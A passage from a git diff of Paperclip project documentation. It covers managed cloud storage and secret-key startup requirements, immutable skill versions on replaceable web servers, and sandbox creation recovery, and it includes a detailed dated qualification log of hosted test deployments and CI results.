`PAPERCLIP_STORAGE_S3_BUCKET` or `storage.s3.bucket`. + The self-hosted `paperclip` bucket default does not qualify. The region defaults + to `us-east-1`; an explicit blank region refuses startup. An optional endpoint + must be an HTTP(S) URL without embedded credentials. +- An external PostgreSQL URL from the environment `DATABASE_URL`. + The managed profile never falls back to embedded PostgreSQL. +- A stable `PAPERCLIP_SECRETS_MASTER_KEY` supplied by the deployment secret store. + Use the same value across replacements. The existing provider accepts 32-byte + base64, 64-character hex, or a raw 32-byte UTF-8 string. A key file alone does + not qualify because a replacement web server may not have that file. + +Bootstrap validates the environment database URL and encryption master key before +opening the database or creating local state. Effective storage validation follows +canonical snapshot resolution, before signing keys, first-party Telemetry or app +construction. Raw canonical rows and legacy S3 imports cannot obtain a missing +bucket from schema defaults. Already-stored nonblank bucket values remain +canonical, including the deliberate name `paperclip`; prior normalization cannot +reliably establish their original provenance. +It does not contact S3 or verify credentials, bucket access, database connectivity, +or that a key matches existing encrypted data. Operators must qualify ordinary +S3 put/read/delete with deployment credentials and preserve the existing key. +AWS credentials continue to use the provider's normal SDK credential chain. +Local and self-hosted storage and key-file defaults remain unchanged. + +These are prerequisites for shared storage and secrets. They do not establish +that the whole web server is disposable or that all execution and recovery paths +survive web-server replacement. Run-log/trace storage and producer retention are +separate changes. + ## Agent Artifact Uploads When an agent generates a file that a board user or reviewer should inspect as @@ -2717,6 +2786,24 @@ host cannot start embedded Postgres: pnpm exec vitest run server/src/__tests__/native-session-resumption.test.ts -t 'publishes the completed task session before provider cleanup' ``` +## Version-based skill authoring and delivery + +Managed content uses `managed-skill-content.ts`: prepare and verify outside the +publication transaction, then compare the captured head and publish version, +projections, audit and applicable receipt together. `skill-execution-content.ts` +owns disposable filesystem bindings. Do not write managed installed directories +or infer missing content from an absent cache. Keep linked-local behavior explicit. + +The [conversion and qualification guide](skill-ephemeral-web-servers.md) documents +bounded eligibility/verification commands and the one-time writer maintenance +boundary. `managed-skill-content.test.ts` covers the focused domain behavior; +`ephemeral-skills-process.test.ts` requires independent disposable Postgres and +S3 fixtures and starts separate Node processes. The optional +`PAPERCLIP_TEST_POSTGRES_ADMIN_URL` creates a random test database per suite. +On hosts with unavailable Tailscale, set `PAPERCLIP_TAILNET_BIND_HOST=127.0.0.1` +for local fixtures to avoid repeated CLI discovery. Do not use fixture timings +collected during builds as hosted performance evidence. + ## App-Shipped Skills Catalog Skill-library reads still reconcile bundled releases, folders, and direct local diff --git a/doc/PRODUCT.md b/doc/PRODUCT.md index d9581ac22ac..3615bc679d1 100644 --- a/doc/PRODUCT.md +++ b/doc/PRODUCT.md @@ -184,6 +184,16 @@ Source feeds and project task lists retain their existing access rules. Company skills are shared operating capabilities, not privileged objects by default. Every authenticated agent in a company can create, import, install, edit, update, test, reset, and remove that company's skills unless the company has configured an explicit restriction. +Paperclip-managed skills are immutable saved versions. Studio and API authoring +publish complete content before acknowledging a save; stale edits return a version +conflict and Studio retains the draft. Installed repository skills use the same +version-based reads and execution selection. Web-server files are disposable caches +and staging, so compatible replacement servers can read, edit and deliver protected +versions from the same database and remote object storage. Explicit linked-local +sources retain local behavior. Active or recovering run pins prevent deletion even +after an agent detaches the skill. See [ephemeral-server skills](skill-ephemeral-web-servers.md) +for conversion, compatibility and qualification boundaries. + The governing rule is: **skill permissions are opt-in restrictions, not opt-in capabilities**. Missing skill grants never create a denial in an otherwise unconfigured company, and ordinary skill work does not require board confirmation, a draft-only workflow, or an activation approval. Core Paperclip owns the skill runtime, company-boundary enforcement, policy evaluation contract, API denials, validation, path containment, secret redaction, and activity logging. Those safety invariants cannot be disabled by policy. Open-by-default skill work never authorizes arbitrary host-path reads, unsafe executable content, or policy edits: local imports and scans must stay within Paperclip-known workspace or managed-skill roots, remote sources must resolve to validated immutable content, and platform safety denials must stay distinct from optional administrative restrictions. Paperclip EE may provide detailed administration for per-agent, per-role, per-action, per-source, and protected-skill rules, but EE is not required to use skills and is not an enforcement boundary. Without EE, companies remain open by default and any already-configured restrictions continue to be enforced by core. diff --git a/doc/SPEC-implementation.md b/doc/SPEC-implementation.md index 77dae972cb4..ce358ac65f5 100644 --- a/doc/SPEC-implementation.md +++ b/doc/SPEC-implementation.md @@ -2375,6 +2375,15 @@ unavailable. Preserve current ownership and newer-work fences. See is automatic and bounded. Unused Git caches can expire and reacquire the recorded commit after current authorization and hash checks; authored/unproven legacy bytes remain durable. See [skill package storage](skill-package-storage.md). +- Paperclip ownership is `managed`, with a null source locator and an immutable + current version. Content mutations prepare durable bytes before a short, + authorization-checked compare-and-swap publication. Acknowledged changes do not + depend on an installed web-server directory. Repository installations use the + same committed-version read and execution boundary; linked-local sources are + explicitly outside the empty-disk guarantee. Execution selections, including + empty selections, persist before delivery; recovery reconstructs exact admitted + digests and active/recovering pins prevent deletion. See + [conversion and compatible upgrades](skill-ephemeral-web-servers.md). - Refresh is serialized per source, checks saved selection revisions, and publishes valid skills plus per-entry outcomes with required activity records in one transaction. Failed packages retain prior versions; access/scan/download failures retain all content. @@ -2382,7 +2391,7 @@ unavailable. Preserve current ownership and newer-work fences. See - Match by repository identity and exact path. Preserve IDs, keys, assignments, folders, and history. New key collisions cannot overwrite unrelated skills. Only changed package bytes or executable modes create versions. Library reads, tests, and subsequent unpinned - runs use local installed snapshots; pinned/active runs retain their versions. + runs use immutable installed snapshots; pinned/active runs retain their versions. - Runtime version directories are disposable caches. An hourly, bounded sweep may evict non-current copies unused for one hour, preserving active and unresolved execution pins. Selection, materialization, and pin persistence serialize with diff --git a/doc/ci-profiling.md b/doc/ci-profiling.md index cf0ab7c636c..6ed462b77a2 100644 --- a/doc/ci-profiling.md +++ b/doc/ci-profiling.md @@ -24,10 +24,11 @@ Ordinary PRs do not write timing artifacts or export traces. The exporter job is skipped for ordinary run names. Adding another label does not run the CI matrix. Profiling preserves the existing trusted AWS runner routing. Eligible PR jobs -use `paperclip-public-pr-x64`; the routing gate uses `paperclip-ci-routing-x64`. +use `paperclip-public-pr-x64`; the routing gate uses `ubuntu-latest` to verify +current CI CODEOWNERS before allocating any AWS capacity. The existing fail-closed GitHub-hosted fallback still applies if AWS routing -cannot be authorized. Only the separate post-run Honeycomb exporter uses -`ubuntu-latest` directly; it is outside the measured PR suite. +cannot be authorized. The separate post-run Honeycomb exporter also uses +`ubuntu-latest`; it is outside the measured PR suite. ## Read the waterfall diff --git a/doc/cloud-runtime-configuration.md b/doc/cloud-runtime-configuration.md index 62f2eabb114..577976c5236 100644 --- a/doc/cloud-runtime-configuration.md +++ b/doc/cloud-runtime-configuration.md @@ -18,7 +18,8 @@ existing validation at application startup. to embedded PostgreSQL. Credentials, trust keys, provider configuration and deployment wiring needed before the database connection remain supplied by the environment or the existing secret system. This phase parses only the - database connection record. Runtime mode, host binding and authentication + database connection record and requires the stable environment encryption + master key. Runtime mode, host binding and authentication checks wait until the saved snapshot has loaded. 2. After schema migration and database connection, startup reads the private runtime configuration row. An existing invalid row or a database error stops @@ -38,6 +39,27 @@ existing validation at application startup. authentication and application services. A saved telemetry opt-out therefore takes effect before a telemetry client can be created. +Managed Cloud always requires a stable environment master key, including when +an external default secrets provider is selected. Internal local-encrypted +credential paths still need that key. + +Managed Cloud validates effective S3 storage after publishing the canonical +snapshot, before signing-key initialization, telemetry, authentication or app +construction. Cloud requires S3 and a nonblank bucket; an authoritative absent +configuration needs explicit environment storage settings. Raw saved snapshots +cannot obtain a bucket from a schema default. Every legacy Cloud file must name its +bucket before its one-time import, even if its saved provider is local disk and +an environment bucket is present. Omission or blank values fail before seeding; +The effective storage candidate is validated before seeding, so a rejected +legacy file leaves no canonical row and can be corrected before retry. +Environment overlays are not saved as operator choices. Correct that file before +import, or use the existing absent-file/null-snapshot environment-only setup. +Ordinary self-hosted file defaults remain unchanged. +Already-canonical nonblank values, including `paperclip`, remain authoritative. +Prior normalization cannot reliably distinguish an operator's deliberate name +from a historical default, so this release does not invent retrospective +provenance or replace those saved values. + Existing operator environment overlays keep precedence over saved values. Reading an overlaid value does not save it back to the database. Credentials and connection URLs are never copied into this JSONB row. @@ -78,8 +100,9 @@ bytes. Restart tests prove configuration restoration under a different home; they do not prove durable file, secret, or backup storage. The decision signing service still uses `PAPERCLIP_DECISION_SIGNING_SECRET` when -supplied and otherwise reads or creates its instance key file before the database -connection. The local encrypted secret provider still uses its environment key +supplied and otherwise reads or creates its instance key file. Managed Cloud +performs that step after effective storage validation; self-hosted startup keeps +its pre-connection ordering. The local encrypted secret provider still uses its environment key or existing key-file mechanism. Those byte-storage fallbacks are outside this configuration migration. Qualification must account for them separately; this PR does not establish file-free secret storage on Cloud. diff --git a/doc/evals.md b/doc/evals.md index ad89203352d..4cfc9cf6b8e 100644 --- a/doc/evals.md +++ b/doc/evals.md @@ -62,6 +62,15 @@ self-hosted/Cloud targets and separately selected local/Daytona agents. Account and credential bindings stay in the private eval repo; registration and oracle tests do not establish a completed live pass or unattended CI qualification. +The deployment-targeted `question-answer-resume` journey reuses the classic +two-question scenario and native continuation oracle on an attached target. +It checks the actual board answers, one to three bound work runs, an agent-authored +task document and browser readback after reload. It accepts provider questions and +durable questions proven by an applied semantic receipt or an immutable completed +native API mutation receipt. It does not qualify named-tool selection. Its provider owns target setup, +usage and cleanup. Registration and local calibration do not establish a fresh +Cloud pass or inclusion in a recurring selection. + The explicit-only [necessary free-text question journey](../tests/runner-e2e/README.md#necessary-free-text-question) checks one essential input, the rendered prompt and context, the real answer, one bound continuation, and an exact saved confirmation. Its four development @@ -548,7 +557,7 @@ any qualification claim; catalog presence alone is not a pass. The explicit-only [native question/resume qualification](../tests/runner-e2e/README.md#task-continuation) separates a completed two-answer user journey from semantic-tool documentation -qualification. It verifies the exact provider-pause or semantic-response-wake +qualification. It verifies the exact provider-pause or native response-wake binding for each answer and preserves prior grades when the definition changes. ## Lifecycle behavior baseline diff --git a/doc/idle-environment-cleanup.md b/doc/idle-environment-cleanup.md index a8d2ecdff02..d999536cdfc 100644 --- a/doc/idle-environment-cleanup.md +++ b/doc/idle-environment-cleanup.md @@ -11,7 +11,7 @@ or an orphaned active lease. Explicit user retry keeps its existing direct path. | Duty | Truth | Trigger and next deadline | Quiet condition | | --- | --- | --- | --- | | Failed teardown | Existing `environment_leases` rows in `pending_cleanup` | Commit signal; later of row backoff and saved retry/ownership deadline | No pending lease or deferred orphan | -| Failed acquisition before a DB row exists | Existing local orphan spool and the producing runtime's buffer | Local buffer registration; five-minute retry while buffered; startup spool load | Durable row owns recovery and spool copy is removed | +| Interrupted acquisition | `sandbox_creation_operations` committed before provider creation | Transaction signal; saved acquisition deadline; five-minute backoff after recovery failure | Normal lease or one claimed cleanup lease owns the resource; unsupported uncertainty requires operator reconciliation | | Historical provider verification | Existing failed ephemeral leases and finished custom-image setups without matching cleanup proof | Commit signal; five-minute retry while an unverified candidate remains | No unverified candidates, including retained verified history | `environment-cleanup-state.ts` owns the deadline query and the shared safe reader @@ -47,8 +47,9 @@ settlement and uncertainty handling through the shared DB implementation. - `heartbeat/recovery.ts` and `heartbeat/run-control.ts`: orphan-active recovery, retry settlement, and explicit recovery of historical leases. - `environment-task-runtime.ts`: unconfirmed plugin task termination and plugin - replacement orphans, including a registered deferred flusher when the row - cannot be written. The flusher retains an idle hold until the row is durable. + replacement creations. Replacement intent commits before the provider call. +- `sandbox-creation-operations.ts`: admission, atomic lease transfer, and bounded + recovery. An unavailable database stops admission before external creation. - `sandbox-stop-and-retain.ts`: persisted Stop intent and its settlement. - `native-workspace-export-resume.ts` and `native-workspace-export-retry.ts`: terminal-export cleanup, resumed-export cleanup claims, and settlement. @@ -64,7 +65,49 @@ already pending claim remain covered by its existing deadline. Deletion removes work; an already scheduled reconciliation observes that removal. Independent SQL writers and another server process are not covered by these process-local signals. -## Deferred orphan buffers +## Creation ownership + +A creation operation retains company, original environment, run, request identity, +provider, and nonsecret configuration references. Its environment FK uses SET NULL; +company/run/task identifiers remain after those records are removed. One operation +owns each company/environment/run/request. A retry of an attached operation returns +its active lease. Pending or unresolved ownership never authorizes another create. +Normal success transfers operation ownership and the lease in one transaction. +Current company binding and run authority are checked again at attachment. +Declared secret-reference fields retain only their references and nonsecret value +hashes. Recovery refuses lookup under a changed credential value; it records manual +reconciliation instead of treating a missing resource in a new account as proof. +A missing, deleted, disabled, or archived saved secret, a missing or inactive saved version, +or an explicitly disabled/coming-soon provider vault also records manual +reconciliation before provider lookup. Admin-disabled credentials require operator +reconciliation; recovery does not reactivate or use them. Temporary secret-provider +or database failures retain the pending operation and its retry deadline. + +Recovery never resumes partially prepared execution. It asks a capable provider to +inspect the stable creation identity, validates its ownership envelope, and transfers +one cleanup lease under the operation lock. The existing claimed cleanup worker +owns deletion and confirms resolution. Failed lookup/transfer records a bounded +retry and permits other operations to proceed. An attached operation cannot transfer +to cleanup. Pending creation blocks instance sleep until its obligation transfers. + +Daytona version 0.1.10 declares creationOperationVersion 1. It uses the committed +operation UUID in its existing creation name and labels. Recovery uses an explicit +creationOperation request on the existing read-only inspect hook and strict failed-creation deletion path. Normal lease +inspection still uses its recorded resource ID; creationOperationId metadata is +provenance only. A missing name alone cannot prove a late allocation will never appear. Missing identity or an +unsupported provider records needs_reconciliation and an operation-scoped warning. +A deleted company also records manual reconciliation before credential lookup or +cleanup transfer. A company lock fences deletion during the transfer transaction. +That manual diagnostic has no automatic timer and does not prevent idle. The row +must be reconciled before retrying the same request. Other providers do not yet +claim automatic creation lookup. Generic plugin operations retain identity only, including a returned task resource +ID before expiry checks or lease attachment. A failed or ambiguous attachment keeps +that known ID for reconciliation; it does not authorize unconditional release. +These operations do not copy credentials, resolved configuration, or provider +payloads into the operation record. A lost provider reply can still leave the +resource ID unknown. + +## Legacy deferred orphan buffers Runtimes that hold an unwritten orphan register their flusher in a registry scoped to the shared database handle. Registration wakes the worker without contacting @@ -75,8 +118,9 @@ runtime. The registry retains only runtimes with unresolved buffer ownership. Unreadable directories, records, and malformed records retain a retry; a missing spool directory is an empty spool. A spool read failure still allows other runtimes to flush their buffers and persisted leases to clean up, then fails the sweep so recovery stays scheduled. -Each concrete cleanup pass reloads the spool, including entries appended by -plugin task replacement after startup and entries beyond buffer capacity. +Each concrete cleanup pass reloads existing legacy spool entries, including entries +beyond buffer capacity. Normal acquisition and plugin task replacement do not append +new fallback files. Retained entries remain available for the separate cutover inventory. No empty-spool filesystem or database polling is introduced. Existing limits on a simultaneous database, spool, and buffer-capacity failure remain; this is not a new durable queue. diff --git a/doc/plans/2026-10-30-ephemeral-web-skills.md b/doc/plans/2026-10-30-ephemeral-web-skills.md new file mode 100644 index 00000000000..1da9e889521 --- /dev/null +++ b/doc/plans/2026-10-30-ephemeral-web-skills.md @@ -0,0 +1,462 @@ +# Skills on ephemeral web servers + +## Qualification status + +Implementation is in [PR #18334](https://github.com/paperclipai/paperclip/pull/18334). +Hosted qualification uses the owned disposable +[test tenant](https://ephemeral-skills-qa-oct-30.test.paperclip.app), external +Postgres, S3, and a real remote Paperclip Computer. Cloud policy reserves the +staging domain for master; the rejected staging branch request below made no +deployment. + +- **Passed:** independent-process PostgreSQL/S3 failure matrix; hosted A → B → C + replacement with predecessor homes absent; C reads and executes B's acknowledged + save; historical repository pin delivery while a newer revision is installed. +- **Passed:** full CI and code review at `7ec495de77`, confidence 5/5, no + unresolved findings. Workspace typecheck/build, focused regressions and the + separate-process replacement matrix passed. Local timeout attempts remain + recorded below; their results are not counted as passes. +- **Passed:** compatible image rollback to `6518b323` retained the newer managed + revisions and delivered their bytes plus the historical repository pin remotely. +- **Passed:** deployed unassigned-skill Studio retry: the exact fork v3 was + delivered and executed, Studio reached `succeeded`, and its output snapshot + persisted. Independent package verification found zero blockers. +- The maintenance CLI configuration bootstrap regression and server typecheck + passed. The PR records final CI/review status for the commit containing this + evidence update. + +Runtime candidate `9200e3fcb4` contains the native Studio selection/completion and +legacy completeness fixes. It is deployed and qualified. Later changes integrate +master, protect drafts during a delayed UI reload, and load persisted Cloud +configuration in the maintenance CLI; their verification is recorded separately. +The chronological record below +retains earlier failures and intermediate pending states; this section describes +the current qualification status. + +## Accepted contract + +Given the same database, object storage, secrets, and supported application +artifacts, a replacement server must discover, read, edit, and deliver protected +installed skill versions without its predecessor's files or process memory. +Disk is permitted for disposable scratch, verified caches, and execution delivery. +Managed authoring and library operations address immutable content, not a mutable +installed directory. Git remains the authoring source for repository skills; +installed revisions and run pins govern delivery. Linked local sources remain an +explicit self-hosted compatibility boundary. + +Current, pinned, active/recovering, and authored versions retain durable bytes. +Unused historical Git versions keep the existing expiry/exact-commit policy. +Legacy conversion may use one maintenance window. Compatible later upgrades and +rollback use the same remote state. Other web-server persistence, Railway traffic +handoff, and production volume removal are outside this slice. + +## Delivery and acceptance + +1. Introduce managed ownership and content publication without installed paths; + preserve access, atomic metadata/version publication, idempotency, conflicts, + and active-run retention. Update Studio and API consumers. +2. Separate selection/pinning from materialization; restore exact runtime digests. + Add bounded legacy conversion and disk-independent eligibility diagnostics. +3. Prove cold A → B → C replacements, concurrent writers, uncertain commits, + offline upstream, corrupt/missing objects, access, retention and idle behavior. + Run required checks and qualify one disposable staging tenant with a real + remote agent. Finish with a reviewable PR and exact revision/evidence links. + +## Canonical work and progress + +- Worktree: `/Users/dotta/.codex/worktrees/d084/paperclip` +- Branch: `codex/skills-ephemeral-web` +- Draft PR: https://github.com/paperclipai/paperclip/pull/18334 +- Approved plan: this chat, “Skills on ephemeral web servers,” nine sections. +- Implemented managed create/read/edit/delete-file/fork/rename/restore publication, + immutable catalog installation/reset, Studio version conflict recovery, durable + pre-materialization selection and exact pinned-runtime rehydration. Source + disconnect retains immutable content and access provenance. +- Added bounded installation conversion, eligibility and independent version + verification to existing migration tooling; conversion requires retired writers. +- Independent OS-process A → B → C qualification passed using owned Docker + PostgreSQL and RustFS S3 fixtures. Real HTTP routes covered saves, supporting + executable content, uncertain commit receipts, stale concurrent saves and upload + crashes. This is not hosted Runner qualification. +- Studio tests: 14 passed, including draft preservation and confirmed reload. +- Workspace typecheck and build passed. Map checks and UI token gates passed. + Broader compatibility coverage passed 362 cases; follow-up runs passed migration, + policy, package, project access and retained-run cases after updating old model + expectations. Final focused checks and the full repository suite are running. +- One-connection tests now exercise package acquisition before the publication + transaction. Fork reassignment also uses the transaction's database handle. +- Host embedded Postgres cannot initialize: exhausted kernel semaphore pool. + Owned Docker fixtures are `paperclip-skills-ephemeral-pg` (port 61006) and + `paperclip-skills-ephemeral-s3` (port 61007). No unrelated databases changed. +- Disposable staging tenant created through normal onboarding: + https://ephemeral-skills-qa-oct-30.staging.paperclip.app + Agent `dfd238b5-5e5d-43ef-b34a-cb5bff2267f3` (Skills Qualification), paused. + OpenAI API-key setup uses the explicitly authorized local credential. Candidate + `6518b323528b2b595c5949c3ed2c57a8d2438cb6` is building under release run + https://github.com/paperclipai/paperclip/actions/runs/41085949238. + Single-tenant deploy request: `c65f3677-4b4e-4687-957a-28e2bfb89451`. + Stack `stack-pool-50f5009d5644` is user-managed during qualification so unrelated + fleet rollouts cannot replace the test candidate. No live run claimed yet. +- Greptile's first review found root-package path truncation, linked-local fork + and restore regressions, and a concurrent receipt replay race. Fixed all four; + focused review checks passed 76 server and 16 Studio tests. CI also exposed + obsolete host-path fixtures and a company-deletion/publication race. Updated + those fixtures and publication locking; 20 targeted integration tests passed. + Skill detail now resolves existing metadata without seeding the entire library. +- Remaining: finish repository checks and PR review, candidate deployment and + fresh-home remote Runner qualification including compatible rollback. The PR + stays draft until hosted qualification and the final checks are complete. +- Greptile reached 5/5 with all six comments resolved at `8c0fae76a6`. + CI at that revision passed typecheck, build, all unit/integration shards and + Runner checks; two browser shards still require investigation. The shared-chat + question fixture's five-second assertion raced a successful asynchronous run; + its readiness wait now follows the existing run-settlement helper. +- A cold metadata assertion exposed three manifest downloads during history + listing. New versions now persist a complete metadata index and migration + backfills legacy indexes without changing content/version identity. Process + qualification confirmed zero metadata/warm downloads; its tiny fixture measured + a 176 ms cold read (two objects, 899 bytes), 37 ms warm execution preparation, + 899 MB process RSS and 820 bytes of temporary files. These local fixture numbers + are not hosted latency or incremental memory claims. A follow-up compatibility + run caught changed file ordering; preserving the existing order fixes that drift. +- Metadata/package compatibility passed all 44 tests after preserving file order. + Both affected browser cases passed independently. Stop/reset now allows a bounded + 30-second cold startup; its failure trace showed cancellation during preparation + when the old five-second assertion expired, before the fixture began streaming. +- The baseline image published successfully, but the deployment check rejected the + branch with `fleet_campaign_staging_requires_master` (Cloud run `41092962684`). + Current Cloud policy uses `test.paperclip.app` for branch experiments. The local + Cloud checkout's older runbook missed this boundary. Qualification is moving to + an owned disposable test tenant; the rejected request made no tenant deployment. +- All 53 applicable CI checks passed at `0dc9a42a6f` (two skipped checks). + The next review found that complete metadata indexes bypassed the unchanged + linked-local manifest shortcut. Whole-package identity mappings now retain that + shortcut; subsets and remapped paths still use their projected inventory. +- A new concurrency regression reproduced a content save overwriting an already + acknowledged metadata edit. Publication now checks the metadata fields it will + replace as well as the version head, and returns 409 when they changed during + preparation. The managed-content and catalog suites passed after this fix. +- Local package/project checks hit timing limits while an older full-suite worker + remained active for over 80 minutes. That task-owned run was stopped; it is not + recorded as a full-suite pass. All four isolated package cases then passed, + including the two previous timeout failures and the linked-local regression. + Final project-access/process qualification is running sequentially. Server + typecheck passed with both final fixes. +- Correct disposable branch-test tenant: + https://ephemeral-skills-qa-oct-30.test.paperclip.app + Stack `stack-ephemeral-skills-qa-oct-30` is pinned user-managed. Baseline A + `6518b323528b2b595c5949c3ed2c57a8d2438cb6` is confirmed serving from image + `ghcr.io/paperclipai/paperclip:sha-6518b323528b2b595c5949c3ed2c57a8d2438cb6-cloud`. + Deploy request `19c33461-d232-453a-bdd1-ba357459be48`, campaign + `fleet-campaign-1793366873548`, Cloud run `41094804453`: one target succeeded. + The user approved saving the same OpenAI key to this test tenant; its remote + Codex environment verification succeeded on a Paperclip Computer. +- Studio created unassigned managed skill `3ade7878-8aaf-47c7-aebd-7da23a8afb5d` + (Ephemeral Skills Proof), with instructions, `references/value.txt`, and + `scripts/prove.sh`. Remote agent `300911d4-590d-4a26-b1c0-c80db14fa072` is + preparing the executable flag through the ordinary API. Fresh-home replacement, + delivered-byte verification and compatible rollback remain pending. +- Final sequential project-access/process qualification passed all 31 cases; + the complete-map package checks passed all four isolated cases. The metadata + and linked-local fixes were pushed as `ceab192b1774fcb5be17db57de5579d81007b9c1`. +- Remote preparation task EPH-1 saved revision 6, version + `1abec28d-dd4a-4763-acd4-5a67af874911`, with the script executable. All three + reported file digests match hashes independently computed from the Studio + inputs. Company: `16cfa89e-f159-5040-927e-aca46ee87c2f`. +- Baseline Studio test `81951c91-ec59-4eae-b5c5-c0083119f6ae` failed before + execution (`b326a961-c1b8-43ad-b38b-7f6424939ee3`): its route constructed + heartbeat without the existing plugin worker manager. This is a route wiring + failure, not missing skill content or missing image dependencies. The fix passes + the app's existing manager through the Studio route to execution, matching other + task routes. No Cloud composition/admission policy changes are required. + The first route-suite attempt hit its 30-second module-load setup timeout before + any test ran; a bounded 120-second setup-budget retry is running. +- The Studio route regression suite passed all 64 cases on retry, and server + typecheck passed. The managed sandbox manager is reused from app construction; + no provider behavior, permissions or lifecycle ownership changed. +- Baseline remote task EPH-3 passed on run + `07a711a9-a7d7-45e3-8c00-f64f71d2a9cc`: the delivered v6 script ran directly + with mode `555`, printed `skill-script-A: durable-skill-payload-A-20261030`, + and all three file digests matched independently calculated input digests. + Its saved task document records the execution-local installation path. +- Imported repository skill `581b718a-3681-48c4-96d5-87d12b694550` from + `paperclipai/paperclip` commit `dff63551fe07934a82a0942e502adba3fcbb08ca`. + The existing import filter admitted 12 files and excluded the API reference. + A later explicit source refresh hit the repository size limit and retained + the installed revision. That refresh is not counted as a successful update. +- Test-only env campaign `fleet-campaign-1793366873581` succeeded at + `2026-10-30T17:38:00.006Z`, changing only `PAPERCLIP_HOME` to + `/tmp/ephemeral-skills-a` on `stack-ephemeral-skills-qa-oct-30`. + Audit evidence reports one target, one key, zero removed keys, and unchanged + Computer images. Studio reopened v6 with its supporting files afterward. + Unassigned fork `6381a0a0-582b-4d26-b858-4e56b606e07c` was created through + Studio and saved as v2 with `unassigned-payload-A-20261030` in its reference. +- Review of `35b6a12fe4` identified a forced catalog reinstall conflicting with + its own audit metadata write. A real Postgres regression reproduced the 409. + Candidate auditing is now read-only; successful publication commits the new + audit metadata, while unchanged/rejected operations retain audit reporting. + Regression checks cover forced reinstall, a new slug, and a competing metadata + writer. The combined catalog/managed run passed 29 cases and hit one unrelated + 15-second asset-test timeout; all four focused catalog cases passed on an + isolated rerun. Server typecheck passed. +- Latest browser CI exposed another five-second startup assertion in the + feature-disable journey. Its trace showed an active adapter invocation before + the fixture's first message. The assertion now uses the existing 30-second + cold-start budget; the exact browser journey passed locally in 12.5 seconds. + No feature-disable behavior or fixture completion assertions changed. + +- Latest code review of `07fffa749511a39b05b2dbc43adcce842195398a` is 5/5, + with zero unresolved review threads. Hosted candidate build is run + `41101360597`; baseline A remains deployed until it completes. +- Provider console independently confirmed external Neon Postgres and S3 on A, + with `PAPERCLIP_HOME=/tmp/ephemeral-skills-a`, deployment + `5fc05d1a-2451-465c-8a15-16b18d1e0d3d`, replica + `f7393d02-49b6-40b9-ae94-db9181300bf4`. A temporary marker was written to + that home so a later container can prove the predecessor's local state is absent. +- Imported the smaller `vercel-labs/agent-skills` repository at exact commit + `93f5a2dee1a270015473e19d24a758a012fa058b`: skill + `3e9f2b84-2d15-49f9-a5c0-8596f4c6e313`, source + `0c03e633-d22e-4a63-b5a5-843823f2eb7b`, 75 admitted files. + Early pin attempts were rejected by the existing Beta skills gate. The late + error toast was confirmed; read-only DB inspection showed no saved pin. +- Beta skills is a tenant preference, so fleet feature override correctly + rejected it as non-managed. Test-only env campaign + `fleet-campaign-1793366873607` exposed only this preference, preserving the + complete existing hidden-settings list and temporary A home. It succeeded at + `2026-10-30T18:04:20.150Z`: one target, two keys, zero removed keys, unchanged + Computer images. The tenant's normal Experimental UI then saved Beta skills + enabled. No fleet default, identity, permission, or volume policy changed. +- The preference campaign replaced A's container: deployment + `9ba9202e-7f47-4edd-b501-aa807760b132`, replica + `d2131533-f4d2-4173-b984-ca46beaef61c`. Provider console observed the + predecessor marker absent, then wrote a new A2 marker for the next replacement. +- Repository assignment saved through the library UI as historical version + `918e2066-b241-4cdc-934a-db896138240b` (revision 1, `GitHub 93f5a2de`). + Explicit source refresh to main published current revision 2 + `fa3bb9ac-fcd9-443b-970c-f62590f881dc` (`GitHub 1a2c79d4`); automatic + updates remain paused for this fixture. +- Remote task EPH-4 (`e561a058-3e2d-4f90-9899-a69c6539ed42`), run + `9917cfa3-caed-400a-b1a0-58183e2e2614`, passed after A's temporary state + was replaced. Managed v6 hashes/output/mode matched EPH-3. The repository + wrapper delivered revision 1 while revision 2 was current. Independently read + exact-commit upstream contents matched the delivered instruction digest + `50b55178a2da8ee931850193596601fa0517cd800e171366a903769f25bf4dda` + and `rules/async-parallel.md` digest + `6d2f841896279e976dfcdc1ac89e70771ac188baadfd43c096b5706cb838b961`. + The agent used the rule to recommend parallel independent fetches and saved + paths, command results and API history in task document `immutable-pin-proof`. +- Required CI gates `ci / verify` and `ci / e2e` passed on `07fffa749`. + Latest check rollup: 52 success, two skipped, one cancelled advisory review + job; Greptile separately completed at 5/5 with no unresolved threads. + +- Candidate `07fffa749` deployed successfully through core-only test request + `d4e172e8-a861-48cc-ae9c-e2f26c8ee636`, Cloud run `41106109829`. + B is deployment `ed70e789-22c3-4b93-93de-da61d7f30ca4`, replica + `16fbb2e8-a7b3-4f32-a483-bc2f5c77a8ee`, with + `PAPERCLIP_HOME=/tmp/ephemeral-skills-b`. Local health confirmed the code SHA; + provider console confirmed A's home and marker absent. The unassigned fork + opened as v2 with zero agents. Studio acknowledged a supporting-file edit to + the primary managed skill as v7 (`durable-skill-payload-B-20261030`). +- Independent verification on B read 23 saved versions: 21 `remote_storage` + results and two `database_release_snapshot` results. No corrupt, missing, + local-storage or provider-mismatch results. The next cursor returned zero. +- Live Studio test EPH-5, test `9c4f3775-2793-46c6-b09d-e3343e0e4c65`, + heartbeat `7fe45977-a061-408b-b7c5-5721a7e9f08b`, passed the repaired plugin + wiring but failed native admission: `skill_test` was excluded by Runner's + task-mode allowlist and execution-input parser. This failure is retained; + the Studio acceptance requirement remains pending a deployed retry. +- Follow-up admits and preserves `skill_test` through the existing native + selection, execution contract and tool bindings. It does not relabel tests + as standard work. Task-bound JWT restrictions remain with their authorization + owners; the native surface is restricted as detailed below. No executor refactor or + Rust protocol change is needed. Older images that reject this mode cannot + continue a new Studio test; rollback qualification settles tests first. +- Follow-up local checks: 78 admission/input tests, 109 Runner contract tests, + 40 assigned-MCP tests, and three real-HTTP skill-test scope regressions passed. + Initial scope/MCP attempts encountered sandbox socket restrictions; permitted + retries passed. Runner TypeScript/Rust checks and server TypeScript check + passed. Maps remain aligned (35 areas, 192 capabilities). + +- B's v7 is `e1f96114-6be5-4878-b9ae-269bac0da215`; independent hash of + its supporting file is `c2d9b967aa8ddfad7896804ea1a7ae613b8ff631ff6a084cee7553125bc7fd27`. + EPH-6 (`c5377e90-c80c-4f97-8ada-c4eaf205af0a`), run + `96537d81-b224-442a-9ec1-993fbd89ff56`, completed successfully and saved + `server-b-skill-proof`. Direct script output contained the B payload; executable + mode remained 555, other managed hashes were unchanged, and repository v1 + instruction/rule hashes matched the independent exact-commit reference. +- C home campaign `fleet-campaign-1793366873685` (target + `fleet-campaign-target-1793366873686`) succeeded at + `2026-10-30T18:36:03.930Z`, preserving both managed env keys and Computer images. + Deployment `462e3327-e49b-4096-b5e2-73f5db058a9f`, replica + `01c696c4-89b9-4358-9c2b-108faa4c9d50`, served 